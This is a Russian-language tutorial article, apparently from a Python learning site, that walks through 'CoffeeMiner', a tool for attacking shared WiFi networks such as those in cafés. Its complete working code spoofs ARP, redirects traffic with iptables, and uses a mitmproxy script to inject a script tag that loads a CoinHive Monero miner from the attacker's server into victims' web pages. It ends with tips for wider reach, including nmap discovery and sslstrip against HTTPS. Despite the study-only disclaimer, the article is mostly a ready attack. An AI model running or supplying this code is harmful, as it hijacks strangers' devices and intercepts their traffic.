Внимание: эта статья и проект предназначены исключительно для изучения. Все тесты были сделаны на собственных компьютерах на своей личной WIFI сети.
Несколько недель назад я прочел этот Starbucks кейс , где хакеры взломали ноутбуки через WiFi сеть для использования мощностей компьютеров для майнинга криптовалюты Monero, и мне стало любопытно: как можно сделать похожую атаку, но другим путем.
Есть вопросы по Python?
На нашем форуме вы можете задать любой вопрос и получить ответ от всего нашего сообщества!
Паблик VK
Одно из самых больших сообществ по Python в социальной сети ВК. Видео уроки и книги для вас!
Суть данной статьи в том, чтобы объяснить, как провести атаку MITM (Man-In-The-Middle), чтобы заразить несколько javascript кода в HTML страницах для того, чтобы использовать все устройства, подключенные к сети WiFi для майнинга криптовалюты.
Цель заключается в том, чтобы получить скрипт, который выполняет автоматическую атаку на сеть WiFi. Это и есть CoffeeMiner, так как такой тип атаки может быть выполнен в кафе, где есть WiFi.
Сценарий
Нужны несколько компьютеров, подключенных к сети WiFi, где CoffeeMiner перехватывает трафик между пользователем и роутером.
Настройки
Настоящий сценарий – это WiFi с подключенными к нему смартфонами и ноутбуками. Мы попробовали его в реальности, и все сработало. Но для данной статьи, мы рассмотрим детальнее, как настроить виртуальное пространство.
Мы используем VirtualBox, чтобы развернуть наш виртуальный сценарий https://www.virtualbox.org/ .
Для начала, нам нужно скачать образ для Linux и установить его в VirtualBox. Для нашего примера воспользуемся Kali https://www.kali.org/
После того как мы загрузили ISO, подготовим три VBox-а с установленным ISO.
Для настройки определенного сценария, нам нужно подготовить каждый VBox для своей роли:
- Жертва — Компьютер, подключенный к роутеру, на котором просматривают какие-либо сайты в интернете
- Хакер — Компьютер, на котором запущен CoffeeMiner. Компьютер, выполняющий MITM.
- Router — Обычный шлюз
Когда атака выполнена, сценарий должен быть таким:
Чтобы выполнить настройку, необходимо провести следующее на виртуальных машинах:
Компьютер жертвы
- network adapter:
eth0: Host-only Adapter
Файл: /etc/network/interfaces:
1 2 3 4 5 6 7 8 |
auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.10 netmask 255.255.255.0 gateway 10.0.2.15 |
Компьютер хакера:
- network adapter:
eth0: Host-only Adapter
Файл: /etc/network/interfaces:
1 2 3 4 5 6 7 8 |
auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.20 netmask 255.255.255.0 gateway 10.0.2.15 |
Router:
- network adapter:
eth0: Bridged Adapter
eth1: Host-only Adapter
Файл: /etc/network/interfaces:
1 2 3 4 5 6 7 8 9 10 |
auto lo iface lo inet loopback auto eth0 iface eth0 inet dhcp auto eth1 iface eth1 inet static address 10.0.2.15 netmask 255.255.255.0 |
2. CoffeeMiner, понимание кода
2.1 ARPspoofing
Для начала, нам нужно разобраться, как проводить MITM атаку.
Из википедии:
«В компьютерной сети, ARP-спуфинг, отравление кэша ARP или маршрутизация ARP-яда, это техника, когда атака выполняется отправкой ARP (Address Resolution Protocol) сообщений в локальную сеть. Цель заключается в том, чтобы связать МАС адрес атакующего с IP адресом другого хоста, например, шлюз по умолчанию. Таким образом, любой трафик, направленный на определенный IP адрес отправляется атакующему.
Чтобы совершить ARP-спуфинг, нам нужно использовать библиотеку dsniff.
1 2 |
arpspoof -i interface -t ipVictim ipGateway arpspoof -i interface -t ipGateway ipVictim |
2.2 mitmproxy
mitmproxy – это инструмент, который позволяет нам анализировать трафик, идущий через хоста, и дает возможность менять этот трафик. В нашем случае, мы используем его для заражения javascript в HTML страницах. Чтобы сделать дело чисто, мы внедрим только одну строку кода в страницах HTML. Это будет строка кода, которая вызывает майнер криптовалюты в javascript.
Строка, внедряющая майнер:
1 |
<script src="http://httpserverIP:8000/script.js"></script> |
2.3 Внедрение кода
После перехвата трафика жертвы, нам нужно ввести наш скрипт. Для этого нам понадобится API mitmproxy:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) |
2.4 HTTP Сервер
Как мы видим, инъектор добавляет строку в html и вызывает наш крипто-майнер. Теперь нам нужно развернуть скрипт файл в НТТР сервере. Для поддержки криптовалютного майнера, мы развернем НТТР сервер в компьютере атакующего. Чтобы сделать это, воспользуемся библиотекой Python ‘http.server’:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
#!/usr/bin/env python import http.server import socketserver import os PORT = 8000 web_dir = os.path.join(os.path.dirname(__file__), 'miner_script') os.chdir(web_dir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", PORT), Handler) print("serving at port", PORT) httpd.serve_forever() |
Код выше – это простой НТТР сервер, который внесет наш крипто-майнер жертвам, когда они выполнят запрос.
Javascript майнер будет расположен в папке /miner_script. В нашем случае используется javascript майнер CoinHive.
2.5 Крипто майнер CoinHive
CoinHive – это javascript майнер криптовалюты (XMR) Monero. Его можно добавить в сайт, чтобы он использовал мощность компьютера для подсчета хешей с алгоритмом хешей Cryptonight PoW для майнинга Monero, который строится на протоколе CryptoNote. Использование данного майнера имеет смысл, если пользователь остается на сайте подольше. Так что, для вебсайта, где средняя продолжительность сессии ~40 секунд, использование CoinHive – не очень разумно.
В нашем случае, так как мы введем крипто майнер в каждую HTML страницу, которую запрашивает жертва, мы получаем длительные сессии с подсчетом кешей для майнинга Monero.
3. CoffeeMiner: соединяем все воедино
Теперь наша главная задача – связать все в автоматический процесс. Это и будет CoffeeMiner. Суть в том, чтобы получить скрипт CoffeeMiner, проводящий ARP-спуфинг атаку и настраивает mitmproxy на внедрение криптовалютного майнера CoinHive в HTML страницы жертвы.
Вопервых, нам нужно настроить ip_forwarding и IPTABLES, чтобы конвертировать компьютер атакующего (хакера) в прокси:
1 2 3 |
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 |
Для выполнения ARP-спуфа для всех жертв, нам нужно приготовить файл ‘victims.txt’, с IP адресами всех жертв. Чтобы прочитать IP всех жертв, нам нужно несколько строк в Python, которые должны будут получить IP адреса (а также IP шлюза из командной строки args), и применить ARP-спуфинг для IP каждой жертвы.
1 2 3 4 5 6 7 8 9 10 11 12 |
# получаем gateway_ip gateway = sys.argv[1] print("gateway: " + gateway) # Получаем IP жертв victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # запускаем arpspoof для каждой жертвы, где каждый – новая консоль for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") |
После выполнения ARP-спуфинга, нам всего лишь нужно запустить НТТР сервер:
1 |
> python3 httpServer.py |
Теперь мы можем запустить mitmproxy с injector.py:
1 |
> mitmdump -s 'injector.py http://httpserverIP:8000/script.js' |
3.1 CoffeeMiner, последний скрипт
Теперь мы соединяем все вышеописанное в скрипте ‘coffeeMiner.py’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import os import sys # Получаем IP роутера gateway = sys.argv[1] print("gateway: " + gateway) # Получаем IP жертв victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # настраиваем роутинг (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") # запускаем arpspoof для каждой жертвы, каждый – в новой консоли for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # запускаем НТТР сервер для поддержки script.js в новой консоли os.system("xterm -hold -e 'python3 httpServer.py' &") # запускаем mitmproxy os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T") |
То же самое в скрипте ‘injector.py’:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': print(flow.response.headers["content-type"]) script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) |
Для выполнения нам нужно ввести:
1 |
> python3 coffeeMiner.py RouterIP |
4. Демо
Чтобы создать demo, нам нужно настроить сценарий VirtualBox, который упоминался ранее. Если мы хотим провести атаку вручную, нам понадобятся следующие терминалы:
Далее, когда ARP-спуф атака проведена, injector и НТТР сервер готовы, мы можем перейти к компьютеру жертвы и зайти на сайт. Трафик жертвы будет проходить через компьютер атакующего, и активирует injector:
В результате, html страницы, просматриваемые жертвой, будут содержать html строки кода, внедренные хакером.
Демо видео
В следующих видео, мы можем увидеть весь процесс с использованием скрипта coffeeMiner.py:
VirtualBox демо
Реальный WiFi и ноутбуки
Заключение
Как мы видим, такую атаку достаточно легко выполнить. Кроме этого, процесс можно сделать автоматическим для конкретной WiFi сети. Есть еще один момент, о котором стоит подумать: в случае с реальной WiFi сетью, лучше проводить операцию, когда есть мощная WiFi антенна, чтобы лучше охватить всю зону. Суть в том, чтобы провести автономную атаку, но нам все еще нужно править файл victims.txt с IP адресами жертв. Для будущей версии можно будет добавить сканер nmap, чтобы добавить IP адреса, обнаруженные в списке жертв CoffeeMiner. Еще одна дополнительная функция, которая может сделать операцию более эффективной, это добавить sslstrip, чтобы убедиться в том, что внедрение прошло и на те сайты, которые пользователь может запросить через HTTPS.
Являюсь администратором нескольких порталов по обучению языков программирования Python, Golang и Kotlin. В составе небольшой команды единомышленников, мы занимаемся популяризацией языков программирования на русскоязычную аудиторию. Большая часть статей была адаптирована нами на русский язык и распространяется бесплатно.
E-mail: vasile.buldumac@ati.utm.md
Образование
Universitatea Tehnică a Moldovei (utm.md)
- 2014 — 2018 Технический Университет Молдовы, ИТ-Инженер. Тема дипломной работы «Автоматизация покупки и продажи криптовалюты используя технический анализ»
- 2018 — 2020 Технический Университет Молдовы, Магистр, Магистерская диссертация «Идентификация человека в киберпространстве по фотографии лица»